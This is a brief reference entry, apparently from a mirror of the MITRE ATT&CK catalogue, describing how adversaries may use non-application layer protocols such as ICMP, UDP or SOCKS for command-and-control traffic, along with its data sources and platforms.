Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre